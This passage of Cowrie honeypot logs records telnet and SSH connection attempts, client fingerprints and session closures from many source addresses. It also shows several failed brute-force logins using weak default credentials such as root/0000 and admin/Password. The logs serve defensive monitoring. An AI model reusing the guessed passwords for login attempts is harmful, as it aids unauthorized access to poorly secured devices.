0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.719944Z","src_ip":"192.109.200.78","session":"75cf107385f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":53288,"dst_ip":"159.203.135.109","dst_port":23,"session":"02fff322c59a","protocol":"telnet","message":"New connection: 66.113.160.81:53288 (159.203.135.109:23) [session: 02fff322c59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.806241Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57668,"dst_ip":"159.203.135.109","dst_port":23,"session":"90316eedcbaf","protocol":"telnet","message":"New connection: 157.250.199.120:57668 (159.203.135.109:23) [session: 90316eedcbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.811496Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":53290,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad49ae614d6","protocol":"telnet","message":"New connection: 66.113.160.81:53290 (159.203.135.109:23) [session: 8ad49ae614d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.818371Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:47.986269Z","src_ip":"192.109.200.78","session":"75cf107385f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97647786140442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:48.172681Z","src_ip":"34.125.158.14","session":"19a936122499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57682,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6082dd7a211","protocol":"telnet","message":"New connection: 157.250.199.120:57682 (159.203.135.109:23) [session: c6082dd7a211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:48.178083Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":40298,"dst_ip":"159.203.135.109","dst_port":23,"session":"9abccc0f9ea0","protocol":"telnet","message":"New connection: 62.210.114.58:40298 (159.203.135.109:23) [session: 9abccc0f9ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:48.212095Z"}
{"eventid":"cowrie.session.closed","duration":30.926167964935303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:48.782028Z","src_ip":"66.113.160.81","session":"8739fe40ec8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":53842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8e77bc4c7d6","protocol":"telnet","message":"New connection: 66.113.160.81:53842 (159.203.135.109:23) [session: a8e77bc4c7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:48.795675Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:49.069617Z","src_ip":"192.109.200.78","session":"75cf107385f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.746949672698975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:49.088234Z","src_ip":"34.125.158.14","session":"fbdb6bdd84ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902885913848877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:49.095229Z","src_ip":"34.125.158.14","session":"2694e9458e73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84935712814331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:49.143164Z","src_ip":"34.125.158.14","session":"7a0502ccf4fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":59920,"dst_ip":"159.203.135.109","dst_port":23,"session":"c508428224a4","protocol":"telnet","message":"New connection: 172.104.129.70:59920 (159.203.135.109:23) [session: c508428224a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:49.656971Z"}
{"eventid":"cowrie.session.closed","duration":30.776896476745605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:50.091907Z","src_ip":"34.125.158.14","session":"8a9a3061c914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":51446,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a39541b4481","protocol":"telnet","message":"New connection: 157.250.199.120:51446 (159.203.135.109:23) [session: 6a39541b4481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:50.140705Z"}
{"eventid":"cowrie.session.closed","duration":31.003103733062744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:50.258111Z","src_ip":"34.125.158.14","session":"f1c7319ae57f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006470203399658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.158605Z","src_ip":"137.184.59.230","session":"43f96ce0a54d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":52290,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f13f4bdaec","protocol":"telnet","message":"New connection: 34.125.158.14:52290 (159.203.135.109:23) [session: e4f13f4bdaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.403589Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cb756563819","protocol":"telnet","message":"New connection: 66.113.160.81:55602 (159.203.135.109:23) [session: 5cb756563819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.764506Z"}
{"eventid":"cowrie.session.closed","duration":31.160784244537354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.771749Z","src_ip":"66.113.160.81","session":"29a6919e6809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59648,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e190fb11fd1","protocol":"ssh","message":"New connection: 192.109.200.78:59648 (10.17.0.5:22) [session: 5e190fb11fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.787091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.794938Z","src_ip":"192.109.200.78","session":"5e190fb11fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:51.884099Z","src_ip":"192.109.200.78","session":"5e190fb11fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.124.226","src_port":60830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c26b9eaa19","protocol":"telnet","message":"New connection: 198.50.124.226:60830 (159.203.135.109:23) [session: c7c26b9eaa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.062095Z"}
{"eventid":"cowrie.session.closed","duration":31.034801721572876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.067605Z","src_ip":"157.250.199.120","session":"50ddf84fba3f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.133084Z","src_ip":"192.109.200.78","session":"5e190fb11fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":39792,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c56bcbcf85c","protocol":"telnet","message":"New connection: 69.60.120.238:39792 (159.203.135.109:23) [session: 4c56bcbcf85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.224434Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":55226,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d4dd478be2","protocol":"telnet","message":"New connection: 62.210.114.58:55226 (159.203.135.109:23) [session: b4d4dd478be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.228842Z"}
{"eventid":"cowrie.session.closed","duration":31.0109920501709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.413985Z","src_ip":"34.125.158.14","session":"5a4ff6ad3642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":56094,"dst_ip":"159.203.135.109","dst_port":23,"session":"92be37fa3394","protocol":"telnet","message":"New connection: 66.113.160.81:56094 (159.203.135.109:23) [session: 92be37fa3394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:52.734611Z"}
{"eventid":"cowrie.session.closed","duration":30.853675603866577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:53.099988Z","src_ip":"34.125.158.14","session":"e4954a731ab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:53.220038Z","src_ip":"192.109.200.78","session":"5e190fb11fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.136.227.204","src_port":47160,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43dc17bc594","protocol":"telnet","message":"New connection: 128.136.227.204:47160 (159.203.135.109:23) [session: c43dc17bc594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:53.249546Z"}
{"eventid":"cowrie.session.closed","duration":31.062824964523315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:53.667126Z","src_ip":"66.113.160.81","session":"4e590b3988ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":56688,"dst_ip":"159.203.135.109","dst_port":23,"session":"62fccccadd75","protocol":"telnet","message":"New connection: 66.113.160.81:56688 (159.203.135.109:23) [session: 62fccccadd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:53.720776Z"}
{"eventid":"cowrie.session.closed","duration":30.571728706359863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:54.099658Z","src_ip":"34.125.158.14","session":"0e99e452ac37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909369707107544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:54.239976Z","src_ip":"34.125.158.14","session":"91fee0efa541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":40314,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed8f2356f44f","protocol":"telnet","message":"New connection: 69.60.120.238:40314 (159.203.135.109:23) [session: ed8f2356f44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:54.311968Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":57334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1487fff07a2","protocol":"telnet","message":"New connection: 66.113.160.81:57334 (159.203.135.109:23) [session: c1487fff07a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:54.761712Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":59732,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d4c5c98e2fb","protocol":"telnet","message":"New connection: 137.184.59.230:59732 (159.203.135.109:23) [session: 7d4c5c98e2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:55.077278Z"}
{"eventid":"cowrie.session.closed","duration":31.510681629180908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:55.662786Z","src_ip":"137.184.59.230","session":"b2b7c50a41fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058069229125977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:55.850459Z","src_ip":"172.104.129.70","session":"d346790e1ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccabb60b84db","protocol":"telnet","message":"New connection: 66.113.160.81:57820 (159.203.135.109:23) [session: ccabb60b84db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:55.884361Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59650,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd5a48d18b8","protocol":"ssh","message":"New connection: 192.109.200.78:59650 (10.17.0.5:22) [session: 0dd5a48d18b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:55.916267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:55.921788Z","src_ip":"192.109.200.78","session":"0dd5a48d18b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.004251Z","src_ip":"192.109.200.78","session":"0dd5a48d18b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.471912384033203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.121107Z","src_ip":"172.104.129.70","session":"3d858bd2ab1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed908365ce24","protocol":"ssh","message":"New connection: 159.203.92.129:33154 (159.203.135.109:22) [session: ed908365ce24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.268825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.273572Z","src_ip":"159.203.92.129","session":"ed908365ce24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.278537Z","src_ip":"159.203.92.129","session":"ed908365ce24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.676398515701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.284468Z","src_ip":"128.136.227.204","session":"988458070017","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password","message":"login attempt [admin/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.294023Z","src_ip":"159.203.92.129","session":"ed908365ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.579908Z","src_ip":"192.109.200.78","session":"0dd5a48d18b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":51462,"dst_ip":"159.203.135.109","dst_port":23,"session":"60d0602f153b","protocol":"telnet","message":"New connection: 157.250.199.120:51462 (159.203.135.109:23) [session: 60d0602f153b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.588701Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.83.83.168","src_port":54464,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb1332f1b9e","protocol":"telnet","message":"New connection: 172.83.83.168:54464 (159.203.135.109:23) [session: 8fb1332f1b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.782407Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":58370,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ed8682ffa4","protocol":"telnet","message":"New connection: 66.113.160.81:58370 (159.203.135.109:23) [session: 84ed8682ffa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:56.876488Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":51468,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e24a9a98a12","protocol":"telnet","message":"New connection: 157.250.199.120:51468 (159.203.135.109:23) [session: 5e24a9a98a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:57.141321Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:57.303274Z","src_ip":"159.203.92.129","session":"ed908365ce24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:57.664696Z","src_ip":"192.109.200.78","session":"0dd5a48d18b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.203.48","src_port":49104,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88db7e6c829","protocol":"telnet","message":"New connection: 185.216.203.48:49104 (159.203.135.109:23) [session: d88db7e6c829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:57.999817Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":51482,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a5e0cc5c301","protocol":"telnet","message":"New connection: 157.250.199.120:51482 (159.203.135.109:23) [session: 7a5e0cc5c301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:58.062451Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.136.227.204","src_port":47462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ecb1e62720f","protocol":"telnet","message":"New connection: 128.136.227.204:47462 (159.203.135.109:23) [session: 8ecb1e62720f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:58.118696Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":51484,"dst_ip":"159.203.135.109","dst_port":23,"session":"6480e7cf8937","protocol":"telnet","message":"New connection: 157.250.199.120:51484 (159.203.135.109:23) [session: 6480e7cf8937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:58.124575Z"}
{"eventid":"cowrie.session.closed","duration":30.730701446533203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:58.239940Z","src_ip":"34.125.158.14","session":"121fba92c524","protocol":"telnet"}
